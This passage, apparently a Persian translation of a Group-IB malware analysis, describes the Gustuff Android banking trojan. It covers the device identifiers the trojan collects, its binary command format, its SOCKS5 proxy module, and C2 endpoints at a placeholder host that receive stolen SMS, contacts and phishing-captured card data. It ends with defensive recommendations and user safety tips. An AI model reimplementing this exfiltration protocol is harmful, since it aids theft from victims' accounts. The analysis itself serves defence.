  • imei - IMEI دستگاه. در صورت بروز خطا در فرآیند بدست آوردن مقدار، به جای این فیلد یک پیام متنی خطا نوشته می شود.
  • imsi - شناسه مشترک بین المللی تلفن همراه دستگاه. در صورت بروز خطا در فرآیند بدست آوردن مقدار، به جای این فیلد یک پیام متنی خطا نوشته می شود.
  • مدل - نام قابل مشاهده برای کاربر نهایی برای محصول نهایی.
  • سازنده — سازنده محصول/سخت افزار (Build.MANUFACTURER).
  • androidVersion - رشته ای با قالب "<%release_version%> (<%os_version%>)،<%sdk_version%>"
  • کشور — مکان فعلی دستگاه.
  • partnerId یک رشته خالی است.
  • packageName – نام بسته.
  • networkType - نوع اتصال شبکه فعلی (به عنوان مثال: "WIFI"، "MOBILE"). در صورت بروز خطا، null را برمی گرداند.
  • hasGsmSupport – true – اگر گوشی از GSM پشتیبانی می کند، در غیر این صورت نادرست است.
  • simReady – وضعیت سیم کارت.
  • simCountry - کد کشور ISO (بر اساس ارائه دهنده سیم کارت).
  • networkOperator - نام اپراتور. در صورت بروز خطا در فرآیند بدست آوردن مقدار، به جای این فیلد یک پیام متنی خطا نوشته می شود.
  • simOperator - نام ارائه دهنده خدمات (SPN). در صورت بروز خطا در فرآیند بدست آوردن مقدار، به جای این فیلد یک پیام متنی خطا نوشته می شود.
  • نسخه - این فیلد در کلاس پیکربندی ذخیره می شود؛ برای نسخه های آزمایش شده ربات برابر با "1.6" بود.

5. به حالت انتظار برای دستورات از سرور تغییر می کند. دستورات سرور به شکل زیر ارائه می شوند:

  • 0 آفست - دستور
  • 1 افست - sessionId
  • 2 افست - طول
  • 4 افست - داده

وقتی دستوری می رسد، برنامه لاگ می کند:
mainLog("Header { sessionId<%id%>]، type[<%command%>]، length[<%length%>] }")

دستورات زیر از سرور امکان پذیر است:

نام فرمان داده ها توضیحات:
شناسه اتصال 0 شناسه اتصال یک اتصال جدید ایجاد کنید
خواب 3 زمان ماژول Proxy را مکث کنید
پینگ پونگ 4 - ارسال پیام PONG

یک پیام PONG شامل 4 بایت است و به شکل زیر است: 0x04000000.

هنگامی که فرمان connectionId دریافت شد (برای ایجاد یک اتصال جدید) CommandConnection نمونه ای از یک کلاس ایجاد می کند ProxyConnection.

  • دو کلاس در پروکسی شرکت می کنند: ProxyConnection и پایان. هنگام ایجاد کلاس ProxyConnection اتصال به آدرس ProxyConfigClass.host: ProxyConfigClass.proxyPort و ارسال شی JSON:

 {
    "id":<%connectionId%>
}

در پاسخ، سرور یک پیام SOCKS5 ارسال می کند که حاوی آدرس سرور راه دور است که باید با آن ارتباط برقرار شود. تعامل با این سرور از طریق کلاس انجام می شود پایان. تنظیمات اتصال را می توان به صورت شماتیک به صورت زیر نشان داد:

چگونه تروجان گاستاف اندروید، کرم (فیات و کریپتو) را از حساب های شما حذف می کند

تعاملات شبکه

برای جلوگیری از تجزیه و تحلیل ترافیک توسط sniffer های شبکه، تعامل بین سرور CnC و برنامه را می توان با استفاده از پروتکل SSL محافظت کرد. تمام داده های ارسال شده از سرور و به سرور در قالب JSON ارائه می شود. برنامه در حین کار درخواست های زیر را اجرا می کند:

  • http://<%CnC%>/api/v1/set_state.php - نتیجه اجرای دستور.
  • http://<%CnC%>/api/v1/get.php - دریافت فرمان
  • http://<%CnC%>/api/v1/load_sms.php - دانلود پیامک از یک دستگاه آلوده.
  • http://<%CnC%>/api/v1/load_ab.php - آپلود لیستی از مخاطبین از یک دستگاه آلوده.
  • http://<%CnC%>/api/v1/aevents.php - درخواست هنگام به روز رسانی پارامترهای موجود در فایل ترجیحی انجام می شود.
  • http://<%CnC%>/api/v1/set_card.php - آپلود داده‌های به‌دست‌آمده با استفاده از یک پنجره فیشینگ که به‌عنوان بازار Google Play ظاهر می‌شود.
  • http://<%CnC%>/api/v1/logs.php - آپلود داده های گزارش
  • http://<%CnC%>/api/v1/records.php - آپلود داده های به دست آمده از طریق ویندوز فیشینگ.
  • http://<%CnC%>/api/v1/set_error.php - اعلان خطای رخ داده

توصیه

به منظور محافظت از مشتریان خود در برابر تهدید تروجان های تلفن همراه، شرکت ها باید از راه حل های جامعی استفاده کنند که به آنها امکان نظارت و جلوگیری از فعالیت های مخرب را بدون نصب نرم افزار اضافی بر روی دستگاه های کاربر می دهد.

برای انجام این کار، روش‌های امضا برای شناسایی تروجان‌های موبایل باید با فناوری‌هایی برای تجزیه و تحلیل رفتار مشتری و خود برنامه تقویت شوند. این محافظت همچنین باید شامل یک عملکرد شناسایی دستگاه با استفاده از فناوری اثر انگشت دیجیتال باشد، که این امکان را به شما می‌دهد تا بفهمید چه زمانی یک حساب از یک دستگاه غیر معمول استفاده می‌شود و قبلاً به دست یک کلاهبردار افتاده است.

یک نکته اساسی مهم در دسترس بودن تجزیه و تحلیل متقابل است که به شرکت ها امکان می دهد خطرات ناشی از نه تنها در اینترنت، بلکه در کانال تلفن همراه را نیز کنترل کنند، به عنوان مثال، در برنامه های کاربردی برای بانکداری تلفن همراه، برای تراکنش با ارزهای دیجیتال و سایر موارد معاملات می تواند انجام شود.

قوانین ایمنی برای کاربران:

  • از هیچ منبعی غیر از Google Play برای دستگاه تلفن همراه با سیستم عامل Android برنامه نصب نکنید، به حقوق درخواست شده توسط برنامه توجه ویژه داشته باشید.
  • به طور منظم به روز رسانی سیستم عامل اندروید را نصب کنید.
  • به پسوند فایل های دانلود شده توجه کنید.
  • از منابع مشکوک بازدید نکنید.
  • روی لینک های دریافت شده در پیامک ها کلیک نکنید.

ستاره دار سمیون روگاچوا، متخصص جوان در تحقیقات بدافزار در آزمایشگاه پزشکی قانونی Group-IB.

منبع: www.habr.com

اضافه کردن نظر